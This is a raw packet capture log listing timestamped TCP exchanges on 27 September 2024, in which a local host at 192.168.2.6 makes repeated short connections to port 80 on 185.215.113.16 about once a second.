Sep 27, 2024 11:30:24.311774015 CEST	65077	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:24.311835051 CEST	65079	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:24.312181950 CEST	65079	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:24.316895008 CEST	80	65079	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:25.010644913 CEST	80	65079	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:25.010761976 CEST	65079	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:25.011596918 CEST	65079	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:25.016400099 CEST	80	65079	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:25.251305103 CEST	80	65079	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:25.251403093 CEST	65079	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:25.366764069 CEST	65079	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:25.367136002 CEST	65080	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:25.371957064 CEST	80	65079	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:25.372020960 CEST	80	65080	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:25.372085094 CEST	65079	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:25.372214079 CEST	65080	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:25.372445107 CEST	65080	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:25.377228022 CEST	80	65080	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:26.080391884 CEST	80	65080	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:26.080461979 CEST	65080	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:26.081221104 CEST	65080	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:26.086003065 CEST	80	65080	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:26.311265945 CEST	80	65080	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:26.311363935 CEST	65080	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:26.414267063 CEST	65080	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:26.414716005 CEST	65081	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:26.419609070 CEST	80	65080	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:26.419634104 CEST	80	65081	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:26.419703960 CEST	65080	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:26.419749022 CEST	65081	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:26.419950962 CEST	65081	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:26.424689054 CEST	80	65081	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:27.127243996 CEST	80	65081	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:27.127491951 CEST	65081	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:27.128163099 CEST	65081	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:27.133061886 CEST	80	65081	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:27.357180119 CEST	80	65081	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:27.357247114 CEST	65081	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:27.460650921 CEST	65081	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:27.460987091 CEST	65082	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:27.465955973 CEST	80	65081	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:27.465970039 CEST	80	65082	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:27.466121912 CEST	65081	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:27.466121912 CEST	65082	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:27.466196060 CEST	65082	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:27.471096039 CEST	80	65082	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:28.160341978 CEST	80	65082	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:28.160562992 CEST	65082	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:28.161339045 CEST	65082	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:28.166124105 CEST	80	65082	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:28.385201931 CEST	80	65082	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:28.385351896 CEST	65082	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:28.491724014 CEST	65082	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:28.492053986 CEST	65083	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:28.496921062 CEST	80	65083	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:28.496992111 CEST	80	65082	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:28.497004986 CEST	65083	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:28.497047901 CEST	65082	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:28.497158051 CEST	65083	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:28.501859903 CEST	80	65083	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:29.205689907 CEST	80	65083	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:29.205858946 CEST	65083	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:29.206495047 CEST	65083	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:29.211271048 CEST	80	65083	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:29.434858084 CEST	80	65083	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:29.434922934 CEST	65083	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:29.539191961 CEST	65083	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:29.539573908 CEST	65084	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:29.544590950 CEST	80	65083	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:29.544672012 CEST	65083	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:29.544889927 CEST	80	65084	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:29.544975996 CEST	65084	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:29.545265913 CEST	65084	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:29.550054073 CEST	80	65084	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:30.236643076 CEST	80	65084	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:30.236766100 CEST	65084	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:30.255404949 CEST	65084	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:30.262362957 CEST	80	65084	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:30.479671955 CEST	80	65084	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:30.479856014 CEST	65084	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:30.586785078 CEST	65084	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:30.587220907 CEST	65085	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:30.592987061 CEST	80	65085	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:30.593019009 CEST	80	65084	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:30.593060970 CEST	65085	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:30.593100071 CEST	65084	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:30.593281031 CEST	65085	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:30.598330975 CEST	80	65085	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:31.315900087 CEST	80	65085	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:31.315968037 CEST	65085	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:31.316760063 CEST	65085	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:31.322653055 CEST	80	65085	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:31.546283960 CEST	80	65085	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:31.546406031 CEST	65085	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:31.648058891 CEST	65085	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:31.648381948 CEST	65086	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:31.654107094 CEST	80	65086	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:31.654242992 CEST	65086	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:31.654396057 CEST	80	65085	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:31.654464006 CEST	65085	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:31.654573917 CEST	65086	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:31.660402060 CEST	80	65086	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:32.382282019 CEST	80	65086	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:32.382352114 CEST	65086	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:32.383268118 CEST	65086	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:32.388072968 CEST	80	65086	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:32.614095926 CEST	80	65086	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:32.614211082 CEST	65086	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:32.726114988 CEST	65086	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:32.726460934 CEST	65087	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:32.734178066 CEST	80	65086	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:32.734291077 CEST	65086	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:32.734364033 CEST	80	65087	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:32.734426975 CEST	65087	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:32.734601974 CEST	65087	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:32.742374897 CEST	80	65087	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:33.427792072 CEST	80	65087	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:33.427839994 CEST	65087	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:33.428626060 CEST	65087	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:33.433475971 CEST	80	65087	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:33.657365084 CEST	80	65087	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:33.657435894 CEST	65087	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:33.772948027 CEST	65087	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:33.773292065 CEST	65088	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:33.778083086 CEST	80	65088	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:33.778203011 CEST	65088	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:33.778311968 CEST	65088	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:33.778450966 CEST	80	65087	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:33.778496981 CEST	65087	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:33.783286095 CEST	80	65088	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:34.510302067 CEST	80	65088	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:34.510370016 CEST	65088	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:34.511203051 CEST	65088	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:34.516045094 CEST	80	65088	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:34.742978096 CEST	80	65088	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:34.743093967 CEST	65088	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:34.851073980 CEST	65088	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:34.851443052 CEST	65089	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:34.856399059 CEST	80	65088	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:34.856478930 CEST	80	65089	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:34.856494904 CEST	65088	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:34.856564045 CEST	65089	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:34.856751919 CEST	65089	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:34.861614943 CEST	80	65089	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:35.597928047 CEST	80	65089	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:35.598146915 CEST	65089	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:35.599411011 CEST	65089	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:35.604293108 CEST	80	65089	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:35.837348938 CEST	80	65089	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:35.837464094 CEST	65089	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:35.944937944 CEST	65089	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:35.945285082 CEST	65090	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:35.950136900 CEST	80	65090	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:35.950243950 CEST	65090	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:35.950434923 CEST	80	65089	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:35.950443029 CEST	65090	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:35.950486898 CEST	65089	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:35.957763910 CEST	80	65090	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:36.663297892 CEST	80	65090	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:36.663412094 CEST	65090	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:36.664252043 CEST	65090	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:36.669125080 CEST	80	65090	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:36.892077923 CEST	80	65090	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:36.892194986 CEST	65090	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:37.007445097 CEST	65090	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:37.007786036 CEST	65091	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:37.012638092 CEST	80	65090	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:37.012696981 CEST	80	65091	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:37.012717009 CEST	65090	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:37.012754917 CEST	65091	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:37.012895107 CEST	65091	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:37.017631054 CEST	80	65091	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:37.726901054 CEST	80	65091	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:37.727086067 CEST	65091	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:37.727931023 CEST	65091	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:37.732908010 CEST	80	65091	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:37.955261946 CEST	80	65091	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:37.955344915 CEST	65091	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:38.069819927 CEST	65091	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:38.070158005 CEST	65092	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:38.075426102 CEST	80	65091	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:38.075443983 CEST	80	65092	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:38.075525045 CEST	65091	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:38.075573921 CEST	65092	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:38.075675964 CEST	65092	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:38.080775023 CEST	80	65092	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:38.802963018 CEST	80	65092	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:38.803103924 CEST	65092	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:38.806350946 CEST	65092	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:38.811209917 CEST	80	65092	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:39.039230108 CEST	80	65092	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:39.039346933 CEST	65092	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:39.147919893 CEST	65092	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:39.148268938 CEST	65093	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:39.153028965 CEST	80	65092	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:39.153114080 CEST	80	65093	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:39.153124094 CEST	65092	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:39.153192043 CEST	65093	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:39.153304100 CEST	65093	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:39.158092022 CEST	80	65093	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:39.862570047 CEST	80	65093	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:39.862744093 CEST	65093	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:39.863419056 CEST	65093	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:39.868253946 CEST	80	65093	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:40.094299078 CEST	80	65093	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:40.094402075 CEST	65093	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:40.218492985 CEST	65093	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:40.219160080 CEST	65094	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:40.223718882 CEST	80	65093	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:40.223793030 CEST	65093	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:40.223993063 CEST	80	65094	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:40.224070072 CEST	65094	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:40.254718065 CEST	65094	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:40.259757996 CEST	80	65094	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:40.922092915 CEST	80	65094	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:40.922149897 CEST	65094	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:40.922971964 CEST	65094	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:40.927803993 CEST	80	65094	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:41.145962000 CEST	80	65094	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:41.146033049 CEST	65094	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:41.257384062 CEST	65094	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:41.257703066 CEST	65095	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:41.262558937 CEST	80	65094	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:41.262576103 CEST	80	65095	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:41.262650967 CEST	65094	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:41.262696028 CEST	65095	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:41.262888908 CEST	65095	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:41.267615080 CEST	80	65095	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:41.980412960 CEST	80	65095	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:41.980602980 CEST	65095	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:41.981540918 CEST	65095	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:41.986388922 CEST	80	65095	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:42.213536024 CEST	80	65095	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:42.213629961 CEST	65095	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:42.319920063 CEST	65095	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:42.320337057 CEST	65096	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:42.325148106 CEST	80	65095	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:42.325205088 CEST	65095	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:42.325284958 CEST	80	65096	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:42.325362921 CEST	65096	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:42.325505972 CEST	65096	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:42.330502033 CEST	80	65096	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:43.016122103 CEST	80	65096	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:43.016237020 CEST	65096	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:43.049483061 CEST	65096	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:43.054433107 CEST	80	65096	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:43.271697044 CEST	80	65096	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:43.271841049 CEST	65096	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:43.396645069 CEST	65096	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:43.396797895 CEST	65097	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:43.402018070 CEST	80	65097	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:43.402095079 CEST	65097	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:43.402180910 CEST	80	65096	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:43.402240992 CEST	65096	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:43.403157949 CEST	65097	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:43.408432961 CEST	80	65097	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:44.153584957 CEST	80	65097	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:44.153707027 CEST	65097	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:44.154489040 CEST	65097	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:44.159368038 CEST	80	65097	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:44.378087044 CEST	80	65097	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:44.378252029 CEST	65097	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:44.492005110 CEST	65097	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:44.492357016 CEST	65098	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:44.497279882 CEST	80	65098	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:44.497373104 CEST	65098	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:44.497486115 CEST	65098	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:44.497526884 CEST	80	65097	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:44.497581005 CEST	65097	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:44.502262115 CEST	80	65098	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:45.207119942 CEST	80	65098	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:45.207197905 CEST	65098	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:45.208024025 CEST	65098	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:45.212897062 CEST	80	65098	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:45.434211016 CEST	80	65098	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:45.434338093 CEST	65098	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:45.539645910 CEST	65098	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:45.539947033 CEST	65099	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:45.545707941 CEST	80	65099	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:45.545725107 CEST	80	65098	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:45.545783043 CEST	65099	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:45.545799017 CEST	65098	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:45.545962095 CEST	65099	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:45.550769091 CEST	80	65099	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:46.252923965 CEST	80	65099	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:46.253065109 CEST	65099	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:46.255951881 CEST	65099	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:46.260890961 CEST	80	65099	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:46.488704920 CEST	80	65099	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:46.488806009 CEST	65099	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:46.601083040 CEST	65099	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:46.601442099 CEST	65100	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:46.607182980 CEST	80	65100	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:46.607320070 CEST	65100	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:46.607590914 CEST	65100	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:46.607625961 CEST	80	65099	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:46.607690096 CEST	65099	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:46.612519026 CEST	80	65100	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:47.302988052 CEST	80	65100	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:47.303064108 CEST	65100	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:47.304413080 CEST	65100	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:47.309329987 CEST	80	65100	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:47.526633978 CEST	80	65100	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:47.526735067 CEST	65100	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:47.632555962 CEST	65100	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:47.632886887 CEST	65101	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:47.637842894 CEST	80	65101	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:47.637909889 CEST	80	65100	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:47.637953997 CEST	65101	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:47.637985945 CEST	65100	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:47.638288021 CEST	65101	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:47.643130064 CEST	80	65101	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:48.358087063 CEST	80	65101	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:48.358297110 CEST	65101	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:48.359149933 CEST	65101	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:48.364032984 CEST	80	65101	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:48.590025902 CEST	80	65101	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:48.590121031 CEST	65101	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:48.695038080 CEST	65101	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:48.695360899 CEST	65102	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:48.700536966 CEST	80	65102	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:48.700839043 CEST	80	65101	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:48.700928926 CEST	65101	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:48.700939894 CEST	65102	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:48.701088905 CEST	65102	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:48.706037045 CEST	80	65102	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:49.401583910 CEST	80	65102	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:49.401688099 CEST	65102	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:49.402457952 CEST	65102	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:49.407279968 CEST	80	65102	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:49.627460003 CEST	80	65102	185.215.113.16	192.168.2.6
Sep 27, 2024 11:30:49.627512932 CEST	65102	80	192.168.2.6	185.215.113.16
Sep 27, 2024 11:30:49.741837978 CEST	65102	80	192.168.2.6	185.215.113.16
